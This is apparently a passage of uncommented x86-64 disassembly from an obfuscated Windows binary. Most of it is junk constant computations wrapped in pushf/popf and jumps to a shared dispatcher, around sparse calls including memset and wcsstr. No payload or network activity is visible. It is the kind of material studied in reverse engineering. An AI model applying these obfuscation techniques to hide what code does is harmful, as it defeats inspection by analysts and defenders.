mov qword [rbp - 0x10], rdx
mov qword [rbp - 8], rcx
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x50]
mov r8, rsi
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140118449
mov rbx, rax
test rax, rax
je 0x1400ff64b
push rax
pushf
mov eax, 0x792ab51d
pushf
not eax
add eax, 0xb62b76b4
xor eax, 0xd6bc60f0
rol eax, 0x23
popf
pushf
not eax
add eax, 0x87de1a4f
xor eax, 0xd78eaa04
rol eax, 0x9e
popf
pushf
not eax
add eax, 0xb8a5b5d4
xor eax, 0xfee9ac85
rol eax, 0x60
popf
pushf
not eax
add eax, 0xf6c713bf
xor eax, 0xaed8b384
rol eax, 0x5e
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x3ebc92bb
pushf
not eax
add eax, 0x9bad8863
xor eax, 0xceb08735
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xaad9e3b8
xor eax, 0x94e1a143
rol eax, 0x44
popf
pushf
not eax
add eax, 0x9b090139
xor eax, 0xf36228a3
rol eax, 0x74
popf
pushf
not eax
add eax, 0xfc3c1fba
xor eax, 0xb192164c
rol eax, 0x26
popf
jmp 0x1400fdf79
add rbx, 7
mov dword [rbp - 0x50], r12d
lea rdx, [r14 + 3]
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x1400ff6f0
push rax
pushf
mov eax, 0x207e0147
pushf
not eax
add eax, 0xe19dbe56
xor eax, 0xeed6f5ac
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xc0150bd0
xor eax, 0xa9187745
rol eax, 0x26
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xbe407201
pushf
not eax
add eax, 0x8c3ed510
xor eax, 0xc7894a45
rol eax, 0xce
popf
pushf
not eax
add eax, 0xe98a7617
xor eax, 0xa11591aa
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xd302eee9
xor eax, 0xe5e920be
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x85e88b97
xor eax, 0xfadc0d56
rol eax, 0x1b
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x50]
mov r8d, 0xe6d1eb7a
pushf
not r8d
add r8d, 0xee54da0a
xor r8d, 0xfd27d62a
rol r8d, 0xdb
popf
pushf
not r8d
add r8d, 0xe6b771d8
xor r8d, 0x8a31bf9d
rol r8d, 0x6c
popf
pushf
not r8d
add r8d, 0xab57c82c
xor r8d, 0xb5bab2cd
rol r8d, 0xdb
popf
pushf
not r8d
add r8d, 0x995b64f6
xor r8d, 0xda6841c1
rol r8d, 0xa5
popf
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
test eax, eax
je 0x1400ff7f9
push rax
pushf
mov eax, 0x78bf7a37
pushf
not eax
add eax, 0xcb7e30bc
xor eax, 0x89ce8c47
rol eax, 0x21
popf
pushf
not eax
add eax, 0x8bc8c209
xor eax, 0xd4ebcc81
rol eax, 0x32
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x35059547
pushf
not eax
add eax, 0xdb93cf2f
xor eax, 0xe86ee1cf
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xe4f20942
xor eax, 0xaa292772
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x900ba510
xor eax, 0x87b02371
rol eax, 0xee
popf
pushf
not eax
add eax, 0xb164b65f
xor eax, 0xf0719105
rol eax, 0x26
popf
jmp 0x1400fdf79
movsxd r12, dword [rbp - 0x50]
dec r12
push r14
not r14
sub r12, r14
pop r14
sub r12, 1
jmp 0x1400ff8ff
mov r12, 0xfffffffffffffff8
push rax
pushf
mov eax, 0x8a625695
pushf
not eax
add eax, 0xd76104c3
xor eax, 0xa66fce35
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xed5e7526
xor eax, 0xf8bde941
rol eax, 0x21
popf
pushf
not eax
add eax, 0xf35b9173
xor eax, 0xb5f38aa9
rol eax, 0xa5
popf
jmp 0x1400fdf79
xor r14d, r14d
mov dword [rbp - 0x50], r14d
lea rdx, [r15 + 2]
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x1400ff970
push rax
pushf
mov eax, 0xb602e824
pushf
not eax
add eax, 0xffea87bd
xor eax, 0xd9a0feb2
rol eax, 0x22
popf
pushf
not eax
add eax, 0xc08061ec
xor eax, 0x89c23dae
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x8a33cd3f
xor eax, 0xd95fa88a
rol eax, 0x9f
popf
pushf
not eax
add eax, 0x8b9a7ccb
xor eax, 0xe7c85fe5
rol eax, 0x89
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xef4d262a
pushf
not eax
add eax, 0x89436819
xor eax, 0xfb133a1d
rol eax, 0x45
popf
pushf
not eax
add eax, 0x83891914
xor eax, 0x922a14ca
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xe47c7112
xor eax, 0x85efa61e
rol eax, 1
popf
pushf
not eax
add eax, 0xd7323c8e
xor eax, 0xb3981d02
rol eax, 0x2a
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x50]
lea r8d, [r14 + 4]
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
test eax, eax
je 0x1400ffa25
push rax
pushf
mov eax, 0x4f32f63b
pushf
not eax
add eax, 0xe58f60ab
xor eax, 0xb0c03db3
rol eax, 0x83
popf
pushf
not eax
add eax, 0x8a695fd0
xor eax, 0x86d80886
rol eax, 0x72
popf
pushf
not eax
add eax, 0x83f9f608
xor eax, 0xe016a88d
rol eax, 0xcb
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x1b6213a7
pushf
not eax
add eax, 0xee206604
xor eax, 0x8da201a6
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xd1f1ccfd
xor eax, 0x950e427d
rol eax, 8
popf
jmp 0x1400fdf79
movsxd rax, dword [rbp - 0x50]
add rax, 6
push r15
not r15
sub rax, r15
pop r15
sub rax, 1
jmp 0x1400ffb02
mov rax, r14
push rax
pushf
mov eax, 0x4e153371
pushf
not eax
add eax, 0xa3bb297d
xor eax, 0xd6208782
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x90fadb8f
xor eax, 0xe877e858
rol eax, 0x28
popf
pushf
not eax
add eax, 0x99e54438
xor eax, 0x8c458eb3
rol eax, 0x12
popf
pushf
not eax
add eax, 0xd8266d61
xor eax, 0xbc453a37
rol eax, 2
popf
jmp 0x1400fdf79
mov qword [rbp - 0x30], rax
lea r13, [rax + 8]
mov qword [rbp - 0x50], r13
mov rdx, r13
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x1400ffb77
push rax
pushf
mov eax, 0xb72ca490
pushf
not eax
add eax, 0xa771fa69
xor eax, 0x9517c138
rol eax, 0
popf
pushf
not eax
add eax, 0xbe81deaa
xor eax, 0xda939b7e
rol eax, 0x26
popf
pushf
not eax
add eax, 0xc9c7a57f
xor eax, 0xa23a16ff
rol eax, 0x26
popf
pushf
not eax
add eax, 0xe98b81fa
xor eax, 0xbf59a99b
rol eax, 0xf1
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x899e89b1
pushf
not eax
add eax, 0xd29a9a6e
xor eax, 0xca4fd2de
rol eax, 0xb1
popf
pushf
not eax
add eax, 0x84bd546e
xor eax, 0xc8cd1f2d
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x88d8edb8
xor eax, 0xb0aa3174
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xccb1819d
xor eax, 0x93a5dff5
rol eax, 0x84
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x50]
mov r8d, 0x9257c6e0
pushf
not r8d
add r8d, 0xf721fa2d
xor r8d, 0xd94ad4fe
rol r8d, 0x95
popf
pushf
not r8d
add r8d, 0xf4caba71
xor r8d, 0x92d97c2d
rol r8d, 0xb1
popf
pushf
not r8d
add r8d, 0xf5880556
xor r8d, 0xba7c02ae
rol r8d, 0x39
popf
pushf
not r8d
add r8d, 0xf0d92b0d
xor r8d, 0x915358af
rol r8d, 0x6e
popf
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
mov r13, qword [rbp - 0x50]
push rax
pushf
mov eax, 0x24ecb632
pushf
not eax
add eax, 0xfd3d49f7
xor eax, 0xb3a30937
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xc6af5f63
xor eax, 0xfaf6da31
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xa1f7eec8
xor eax, 0xfe949489
rol eax, 0x43
popf
jmp 0x1400fdf79
mov dword [rbp - 0x50], r14d
lea rdx, [rbx + 1]
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x1400ffcee
push rax
pushf
mov eax, 0xed9e1bc6
pushf
not eax
add eax, 0xeaa63907
xor eax, 0x89cb83e5
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xc6699254
xor eax, 0xac5d6afc
rol eax, 0xee
popf
pushf
not eax
add eax, 0x8e5f523f
xor eax, 0xe3c8ea28
rol eax, 0x10
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x1bd2e099
pushf
not eax
add eax, 0x981aef3a
xor eax, 0xcbc0e73e
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xdf454fdb
xor eax, 0x933f2443
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x8fee3753
xor eax, 0xb7c336c3
rol eax, 0
popf
pushf
not eax
add eax, 0xd45c79ef
xor eax, 0xd29c8de4
rol eax, 0xbb
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x50]
mov r8d, 0xad3ecfb9
pushf
not r8d
add r8d, 0xe0bcd644
xor r8d, 0x95ba4ae3
rol r8d, 0xdd
popf
pushf
not r8d
add r8d, 0xe0c9d89b
xor r8d, 0xcb3ad6bb
rol r8d, 0x73
popf
pushf
not r8d
add r8d, 0x8428109b
xor r8d, 0x96750a3e
rol r8d, 0x65
popf
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
test eax, eax
je 0x1400ffdf1
push rax
pushf
mov eax, 0xf261f8df
pushf
not eax
add eax, 0x91792e55
xor eax, 0xc6e23958
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xc313d2bf
xor eax, 0xb09b05c1
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xbf87ed42
xor eax, 0xd6eee9d5
rol eax, 0x23
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x1c8d523c
pushf
not eax
add eax, 0x9ed59f41
xor eax, 0xf5233d7e
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xce6cf358
xor eax, 0x8775b544
rol eax, 0x30
popf
pushf
not eax
add eax, 0xcbae2671
xor eax, 0x8f6f7e9e
rol eax, 0xc1
popf
jmp 0x1400fdf79
movsxd rax, dword [rbp - 0x50]
add rax, 5
push rax
not rax
sub rbx, rax
pop rax
sub rbx, 1
mov qword [rsp + 0x30], rbx
jmp 0x1400ffe9d
mov qword [rsp + 0x30], r14
push rax
pushf
mov eax, 0xda3acb83
pushf
not eax
add eax, 0x839e28d0
xor eax, 0xe6686f66
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xfb18c8b0
xor eax, 0xee0435c2
rol eax, 0xed
popf
pushf
not eax
add eax, 0xa34d307f
xor eax, 0x9b12ce88
rol eax, 0x5c
popf
jmp 0x1400fdf79
mov rdx, r12
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x1400fff06
push rax
pushf
mov eax, 0x3a3c7add
pushf
not eax
add eax, 0xcd370098
xor eax, 0xcce61f49
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xce2eb472
xor eax, 0x98392cb2
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x86bc88cc
xor eax, 0xd8e03311
rol eax, 0x90
popf
pushf
not eax
add eax, 0xd3b33abd
xor eax, 0xc86c232f
rol eax, 0xaf
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x8da9a17d
pushf
not eax
add eax, 0xa3c2c69f
xor eax, 0x99ab2216
rol eax, 0x67
popf
pushf
not eax
add eax, 0xd102004e
xor eax, 0xfcb14f9a
rol eax, 0xed
popf
pushf
not eax
add eax, 0xa5849f3e
xor eax, 0xce211dd4
rol eax, 0xc9
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x50]
mov r8d, 0xe3099d11
pushf
not r8d
add r8d, 0xdaf3a841
xor r8d, 0xb31ffaeb
rol r8d, 0x14
popf
pushf
not r8d
add r8d, 0xd9d016dd
xor r8d, 0xbd8bcf7d
rol r8d, 0x78
popf
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
test eax, eax
mov rsi, qword [rbp - 0x50]
jne 0x1400fffe1
push rax
pushf
mov eax, 0xd73ddb2d
pushf
not eax
add eax, 0x8f76405f
xor eax, 0xf8231397
rol eax, 0x68
popf
pushf
not eax
add eax, 0xe19b3b3d
xor eax, 0x8930aad3
rol eax, 0xf
popf
pushf
not eax
add eax, 0xf5faef08
xor eax, 0xd723477d
rol eax, 0x4c
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x68d93e3e
pushf
not eax
add eax, 0xd0662b28
xor eax, 0xfc5ea26a
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x83d0c93a
xor eax, 0xffe80ca4
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xffd8511c
xor eax, 0xad5465c3
rol eax, 0x22
popf
jmp 0x1400fdf79
mov rsi, r14
push rax
pushf
mov eax, 0xa999f6b5
pushf
not eax
add eax, 0x8549e2d8
xor eax, 0xf7dcd4c8
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xe6dc2f8b
xor eax, 0x98eb174a
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x89874b43
xor eax, 0x853961fc
rol eax, 0x2a
popf
jmp 0x1400fdf79
cmp rsi, r12
je 0x1401000ac
push rax
pushf
mov eax, 0x5f9dcb7e
pushf
not eax
add eax, 0xfa98c7c4
xor eax, 0x8668c42c
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xd636a6e3
xor eax, 0x8f297350
rol eax, 0x15
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x60d7c35
pushf
not eax
add eax, 0xa494a309
xor eax, 0xf8bfcd24
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xed5ac7bf
xor eax, 0xabf48ed3
rol eax, 7
popf
jmp 0x1400fdf79
nop word [rax + rax]
push rax
pushf
mov eax, 0x3d4354ef
pushf
not eax
add eax, 0xa7d8b9e3
xor eax, 0x968b25b1
rol eax, 0x38
popf
pushf
not eax
add eax, 0xd62b2567
xor eax, 0xfec71640
rol eax, 0x26
popf
pushf
not eax
add eax, 0xfc7c4c11
xor eax, 0xa1b3fc91
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x8f470be2
xor eax, 0x811ce81d
rol eax, 0xcf
popf
jmp 0x1400fdf79
lea rdx, [rsi + 0x10]
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x1401001ac
push rax
pushf
mov eax, 0x24061349
pushf
not eax
add eax, 0xb06c72a2
xor eax, 0xe7c93ac3
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xb15514e4
xor eax, 0xfd0b8714
rol eax, 0x41
popf
pushf
not eax
add eax, 0x89b18b92
xor eax, 0x9048fe53
rol eax, 0x46
popf
pushf
not eax
add eax, 0xc3302eb4
xor eax, 0xb2fb47cc
rol eax, 0x98
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xcf7775bb
pushf
not eax
add eax, 0xb3cdfb6e
xor eax, 0xb7a0000a
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xe65ce704
xor eax, 0xb9061e8a
rol eax, 0xda
popf
pushf
not eax
add eax, 0xf1a13557
xor eax, 0xf6cd6cea
rol eax, 0x75
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x10]
mov r8d, 0x3b1f3ff1
pushf
not r8d
add r8d, 0x887ee72f
xor r8d, 0xe84ce19b
rol r8d, 0x48
popf
pushf
not r8d
add r8d, 0xd9435e27
xor r8d, 0xc5fc9781
rol r8d, 0xd7
popf
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
test eax, eax
je 0x140100274
push rax
pushf
mov eax, 0xeb8bbdfc
pushf
not eax
add eax, 0xc6539a35
xor eax, 0xc1bc53b0
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xaa3d42f9
xor eax, 0xb3de5f16
rol eax, 0xa9
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xa3f65fbf
pushf
not eax
add eax, 0xab757701
xor eax, 0xbdb7ffff
rol eax, 0x76
popf
pushf
not eax
add eax, 0xd67ea8b0
xor eax, 0x8dcff675
rol eax, 0xe8
popf
jmp 0x1400fdf79
movzx r15d, word [rbp - 0x10]
mov ecx, r15d
shr rcx, 1
inc rcx
mov eax, 0xbd7ccf28
pushf
not eax
add eax, 0xda3def57
xor eax, 0xbbfdb1f3
rol eax, 0x41
popf
pushf
not eax
add eax, 0xed7a313a
xor eax, 0x9f010d76
rol eax, 0x5e
popf
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14012dd25
mov r14, rax
lea r8, [r15 + 2]
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbp - 8]
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x14010035e
push rax
pushf
mov eax, 0xe9b7ca63
pushf
not eax
add eax, 0xbc47358f
xor eax, 0xad5f5fb7
rol eax, 0x96
popf
pushf
not eax
add eax, 0xd2aedd44
xor eax, 0xe76a565a
rol eax, 0x40
popf
pushf
not eax
add eax, 0xd6d42b96
xor eax, 0x89fe6c29
rol eax, 0x51
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xb9058b41
pushf
not eax
add eax, 0xc80fa555
xor eax, 0xbcb61957
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xd9b55577
xor eax, 0xf31c6b78
rol eax, 0x83
popf
pushf
not eax
add eax, 0x87981bac
xor eax, 0xd7c7a1a2
rol eax, 0x7a
popf
jmp 0x1400fdf79
mov r8d, r15d
mov r9, r14
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
test eax, eax
je 0x1401003ec
push rax
pushf
mov eax, 0xe7719c69
pushf
not eax
add eax, 0x965f3ad1
xor eax, 0x865c540a
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xcac31ea5
xor eax, 0xf411bb10
rol eax, 0x4b
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x633236ae
pushf
not eax
add eax, 0xb31211ee
xor eax, 0xb01dc0bb
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xca28d6bf
xor eax, 0xa62c7eab
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xe77c929d
xor eax, 0x9fc5691f
rol eax, 0x93
popf
pushf
not eax
add eax, 0x988e6dea
xor eax, 0xf8b48a67
rol eax, 0xa4
popf
jmp 0x1400fdf79
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14011f4b2
cmp qword [rax + 0x18], 7
jbe 0x1401004b2
push rax
pushf
mov eax, 0x4dc7556a
pushf
not eax
add eax, 0xe3e0645b
xor eax, 0xc52091b6
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xac54948b
xor eax, 0xf05f1901
rol eax, 0xea
popf
pushf
not eax
add eax, 0xb5d0aec1
xor eax, 0xdd84164c
rol eax, 0x94
popf
pushf
not eax
add eax, 0xeb86b36f
xor eax, 0xa775bb20
rol eax, 0xd5
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xdc8f1b8e
pushf
not eax
add eax, 0x97727b87
xor eax, 0xd9466d95
rol eax, 0x71
popf
pushf
not eax
add eax, 0xdec5333b
xor eax, 0xcec32810
rol eax, 0x43
popf
pushf
not eax
add eax, 0x80742a34
xor eax, 0xdd326b42
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xa93fbc53
xor eax, 0x9e638c1c
rol eax, 0xcc
popf
jmp 0x1400fdf79
mov rax, qword [rax]
push rax
pushf
mov eax, 0x1a77a693
pushf
not eax
add eax, 0x80b80b9b
xor eax, 0xc92c3d59
rol eax, 0x69
popf
pushf
not eax
add eax, 0xeabacb9f
xor eax, 0x9e0a5e4f
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xb8b7834e
xor eax, 0x98d97b20
rol eax, 0x33
popf
pushf
not eax
add eax, 0xfe35623d
xor eax, 0xb72c5e1c
rol eax, 0x3c
popf
jmp 0x1400fdf79
mov rdx, rax
mov rcx, r14
jmp 0x14010056e
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
mov rbx, rax
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x1401005db
push rax
pushf
mov eax, 0xf1555592
pushf
not eax
add eax, 0xb0ebaa32
xor eax, 0xb1a03584
rol eax, 0x21
popf
pushf
not eax
add eax, 0xa5d92f15
xor eax, 0xafd7908b
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x98533094
xor eax, 0xb4d3cbac
rol eax, 0x81
popf
pushf
not eax
add eax, 0x87b897f5
xor eax, 0xd01b619c
rol eax, 0x80
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x93f40c2f
pushf
not eax
add eax, 0x89848ea2
xor eax, 0xe205ea71
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xf0ffa21c
xor eax, 0x9b5f972d
rol eax, 0xdc
popf
jmp 0x1400fdf79
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14010065a
push rax
pushf
mov eax, 0x84582e86
pushf
not eax
add eax, 0xbbd87ee8
xor eax, 0xa55ec98c
rol eax, 0x58
popf
pushf
not eax
add eax, 0x8a186107
xor eax, 0x9c858bad
rol eax, 0x1a
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xd6f6eeb3
pushf
not eax
add eax, 0x833577cc
xor eax, 0x95a78352
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x8a7bbd58
xor eax, 0xacddce98
rol eax, 0x99
popf
pushf
not eax
add eax, 0x9bacaacd
xor eax, 0xe10b196e
rol eax, 0xe2
popf
jmp 0x1400fdf79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14010070e
push rax
pushf
mov eax, 0xd552d1d7
pushf
not eax
add eax, 0x86a764a9
xor eax, 0xb263da7c
rol eax, 0xca
popf
pushf
not eax
add eax, 0xbe791107
xor eax, 0xb8152ac7
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xd7290108
xor eax, 0xe7b65577
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xe48ea01e
xor eax, 0xede7a8eb
rol eax, 0x74
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xc84f4af
pushf
not eax
add eax, 0xb2e524a8
xor eax, 0xa0476259
rol eax, 0x71
popf
pushf
not eax
add eax, 0x937c2d0e
xor eax, 0xd5982326
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xf879d045
xor eax, 0xac9575c2
rol eax, 0x59
popf
pushf
not eax
add eax, 0xcd407ee6
xor eax, 0x84c1d26a
rol eax, 0xe7
popf
jmp 0x1400fdf79
call fcn.1400dff78
push rax
pushf
mov eax, 0xb92797
pushf
not eax
add eax, 0x85d427bb
xor eax, 0x951dfc80
rol eax, 0xc
popf
pushf
not eax
add eax, 0xdc2e1022
xor eax, 0x9327e2ce
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xc722ac6f
xor eax, 0xe662af5e
rol eax, 8
popf
jmp 0x1400fdf79
test rbx, rbx
jne 0x1401007fd
push rax
pushf
mov eax, 0x2b4fb4e0
pushf
not eax
add eax, 0x9d15868e
xor eax, 0xd0a4651a
rol eax, 0x34
popf
pushf
not eax
add eax, 0xb70113e9
xor eax, 0xce719c41
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xcb731da4
xor eax, 0xef4ceb0c
rol eax, 0xcc
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x60774136
pushf
not eax
add eax, 0xb398496e
xor eax, 0x9dfa62b3
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xe7e9c1e7
xor eax, 0xcd32e692
rol eax, 0xa
popf
jmp 0x1400fdf79
xor r14d, r14d
push rax
pushf
mov eax, 0xdd8cd842
pushf
not eax
add eax, 0x89f84bde
xor eax, 0x8110e676
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x997c408e
xor eax, 0xb2be7595
rol eax, 0x44
popf
jmp 0x1400fdf79
mov rdx, rsi
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x1401008a9
push rax
pushf
mov eax, 0x4e5f31e0
pushf
not eax
add eax, 0xb858b1bc
xor eax, 0xa3e80391
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x9fd52007
xor eax, 0xf78f2ede
rol eax, 0x63
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xa484628e
pushf
not eax
add eax, 0xe2aaa610
xor eax, 0xf652abd2
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x8c3fbe4e
xor eax, 0x9d1deaa9
rol eax, 0x83
popf
jmp 0x1400fdf79
lea r9, [rbp - 0x50]
mov r8d, 0x9af2746d
pushf
not r8d
add r8d, 0xfa04ed00
xor r8d, 0xeb634169
rol r8d, 0xba
popf
pushf
not r8d
add r8d, 0xe7216038
xor r8d, 0xbbb7b68d
rol r8d, 0x6a
popf
pushf
not r8d
add r8d, 0xc0646117
xor r8d, 0xe927ab0b
rol r8d, 0x3c
popf
pushf
not r8d
add r8d, 0xabf4f8f2
xor r8d, 0xe88c4485
rol r8d, 0x41
popf
mov rdx, rax
mov rcx, rdi
call fcn.14011811a
test eax, eax
mov rsi, qword [rbp - 0x50]
jne 0x1401009a3
push rax
pushf
mov eax, 0xd1a38dca
pushf
not eax
add eax, 0xf8295f1d
xor eax, 0x9b2a3f5f
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xbae4c93c
xor eax, 0xd3cb2020
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xa7c86702
xor eax, 0xaa4a0f82
rol eax, 0xb2
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x6255729e
pushf
not eax
add eax, 0xd41f372a
xor eax, 0xac8a701e
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xfe6723c3
xor eax, 0x98a2c14a
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x806f4960
xor eax, 0x8a4dd82b
rol eax, 0xde
popf
jmp 0x1400fdf79
mov rsi, r14
push rax
pushf
mov eax, 0x67095903
pushf
not eax
add eax, 0xd9cf4260
xor eax, 0x86cfd810
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x8bbfe18f
xor eax, 0x9721e1c4
rol eax, 0x16
popf
pushf
not eax
add eax, 0xb4131695
xor eax, 0xbadac415
rol eax, 0x48
popf
pushf
not eax
add eax, 0xaf0528d0
xor eax, 0xe9e9b601
rol eax, 0xd
popf
jmp 0x1400fdf79
cmp rsi, r12
jne 0x140100a94
push rax
pushf
mov eax, 0xde711db2
pushf
not eax
add eax, 0xd6e9bcff
xor eax, 0xdb1d5559
rol eax, 0x35
popf
pushf
not eax
add eax, 0xd61d9f36
xor eax, 0xd7439302
rol eax, 0x82
popf
pushf
not eax
add eax, 0x91276113
xor eax, 0x8080db19
rol eax, 0x4e
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0x9cd33ec8
pushf
not eax
add eax, 0xf4a4eddd
xor eax, 0xbf59de11
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xa05f8939
xor eax, 0xdd06a160
rol eax, 0x35
popf
pushf
not eax
add eax, 0xc15b8a43
xor eax, 0x8d829c0e
rol eax, 0x6c
popf
jmp 0x1400fdf79
xor al, al
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.140108cb2
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea r12, [rsi - 0x10]
xor eax, eax
mov ebx, eax
push rax
pushf
mov eax, 0xf10a8cf2
pushf
not eax
add eax, 0xd83bf11e
xor eax, 0xd8f0edb4
rol eax, 0xe
popf
pushf
not eax
add eax, 0xfd97aa69
xor eax, 0xdbc21f42
rol eax, 0x45
popf
pushf
not eax
add eax, 0xd121e0de
xor eax, 0xff062177
rol eax, 7
popf
pushf
not eax
add eax, 0xb9aef387
xor eax, 0x8222b060
rol eax, 0x58
popf
jmp 0x1400fdf79
mov r14, rax
mov qword [rbp - 0x50], rax
movsxd rax, ebx
lea r15, [rax*8]
push r13
not r13
sub r15, r13
pop r13
sub r15, 1
mov rdx, r15
mov rcx, rdi
call fcn.1400eff88
test rax, rax
je 0x140100c61
push rax
pushf
mov eax, 0x850db944
pushf
not eax
add eax, 0xe232c412
xor eax, 0xc356921f
rol eax, 0x11
popf
pushf
not eax
add eax, 0x8e3dc456
xor eax, 0x87eb6bdf
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xa03d4961
xor eax, 0xb5eb6ded
rol eax, 0xeb
popf
jmp 0x1400fdf79
push rax
pushf
mov eax, 0xbf64a5b6
pushf
not eax
add eax, 0xdb81e854
xor eax, 0xb286fcb9
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x9a2266e6
xor eax, 0xe9e55f00
rol eax, 0xee
popf
pushf
not eax
